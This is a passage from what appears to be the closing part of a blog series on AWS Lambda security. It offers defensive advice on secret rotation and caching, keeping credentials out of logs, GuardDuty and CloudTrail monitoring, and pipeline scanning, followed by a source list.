  "Effect": "Allow",
  "Action": "secretsmanager:GetSecretValue",
  "Resource": "arn:aws:secretsmanager:us-east-1:111122223333:secret:SECRET_NAME"
}

Mind the cache and rotation together. The default 300-second cache means a freshly rotated secret can be stale for up to five minutes. AWS suggests either lowering the TTL (for example **_SECRETS\_MANAGER\_TTL=60_**) or requesting a specific version with **_versionStage=AWSCURRENT_**. Rotate on a schedule regardless, because a credential that never changes is a credential that an old leak can still use.

Never write a secret to a log line, which is the most common way a secret that was stored correctly still ends up exposed.

Log Without Leaking

CloudWatch Logs are useful for investigation and dangerous for disclosure. A function that logs the full event, or a request header, or an error object that contains a token, has copied sensitive data into a store with its own access model and retention. Decide what must never be logged, which is at minimum credentials, tokens, and personal data, and strip or mask it before it reaches a log call. Avoid **_logger.info(json.dumps(event))_** as a default habit, because the event is exactly where attacker-influenced and sensitive fields live. Use structured logging so fields are explicit rather than interpolated, and sanitize any untrusted value before logging it (for example, strip newlines) so an attacker cannot forge log entries.

Detect What Prevention Misses

You will not prevent everything, so instrument for the case where prevention failed.

Enable Amazon GuardDuty Lambda Protection. It monitors the network activity of your Lambda functions, including functions that do not use VPC networking, and raises findings when a function starts behaving like compromised code. The documented finding types include **_Backdoor:Lambda/C&CActivity.B_** (querying a known command-and-control server), **_CryptoCurrency:Lambda/BitcoinTool.B_** (the traffic pattern of unauthorized cryptocurrency mining), **_UnauthorizedAccess:Lambda/MaliciousIPCaller.Custom_** (contacting an IP on your threat list), and Tor client and relay findings. The crypto-mining pattern is the Denonia case from Part 1, which is precisely the kind of thing this is built to catch.
Record Lambda **_Invoke_** activity with CloudTrail data events, so you have an audit trail of who invoked what and can reconstruct events after an incident. Note that **_Invoke_** is a data event, not a management event, so it is not logged by default, must be explicitly enabled, and incurs additional CloudTrail charges. Management events such as **_CreateFunction_** and **_UpdateFunctionCode_** are logged by default.
Keep Amazon Inspector active so that newly published CVEs are matched against your already-deployed functions automatically, not just at deploy time.
Use X-Ray traces to spot anomalous call patterns, such as a function suddenly reaching services it never touched before.

Shift It Left

Everything above is cheaper before deployment than after. Run dependency auditing and code scanning in the pipeline and fail the build on fixable, high-severity findings. Validate your infrastructure-as-code for the configuration issues from Parts 1 through 3 before they ship, and run the configuration scanner from this series in the same pipeline so a function cannot reach production with a public URL or an admin role. Prevention that runs automatically on every commit is the only kind that keeps up with how fast serverless ships.

The Full Picture

That is the complete series. Parts 1 through 3 covered the configuration layer: the misconfigurations that expose a function, a score for every function, the compliance controls behind each finding, and a command to fix each one. lambda-security-scanner covers that layer end to end.

This part covered the layer no posture scanner reaches: the code itself, its dependencies, the credentials it holds, and the detection you need for when something gets through anyway. No single tool covers both layers, and anyone who tells you otherwise is selling the gap. Real Lambda security is the combination: scan the configuration, secure the code, watch the behavior. Do all three and serverless can finally live up to the word secure.

Sources :

Amazon Inspector: scanning AWS Lambda functions (standard and code scanning) (https://docs.aws.amazon.com/inspector/latest/user/scanning-lambda.html)
Amazon Inspector Lambda code scanning (https://docs.aws.amazon.com/inspector/latest/user/scanning_resources_lambda_code.html)
Amazon Inspector: scanning Amazon ECR container images (https://docs.aws.amazon.com/inspector/latest/user/scanning-ecr.html)
Amazon GuardDuty Lambda Protection (https://docs.aws.amazon.com/guardduty/latest/ug/lambda-protection.html)
Amazon GuardDuty Lambda Protection finding types (https://docs.aws.amazon.com/guardduty/latest/ug/lambda-protection-finding-types.html)
AWS Lambda: defined runtime environment variables (https://docs.aws.amazon.com/lambda/latest/dg/configuration-envvars.html)
AWS Lambda: using the metadata endpoint (https://docs.aws.amazon.com/lambda/latest/dg/configuration-metadata-endpoint.html)
AWS Lambda: logging API calls with CloudTrail (data and management events) (https://docs.aws.amazon.com/lambda/latest/dg/logging-using-cloudtrail.html)
OWASP Serverless Top 10 (https://owasp.org/www-project-serverless-top-10/)
OWASP ServerlessGoat (https://github.com/OWASP/Serverless-Goat)
Powertools for AWS Lambda (https://docs.powertools.aws.dev/lambda/)
Use Secrets Manager secrets in Lambda functions (SDK, extension, and Powertools approaches) (https://docs.aws.amazon.com/lambda/latest/dg/with-secrets-manager.html)
AWS Parameters and Secrets Lambda Extension (https://docs.aws.amazon.com/secretsmanager/latest/userguide/retrieving-secrets_lambda.html)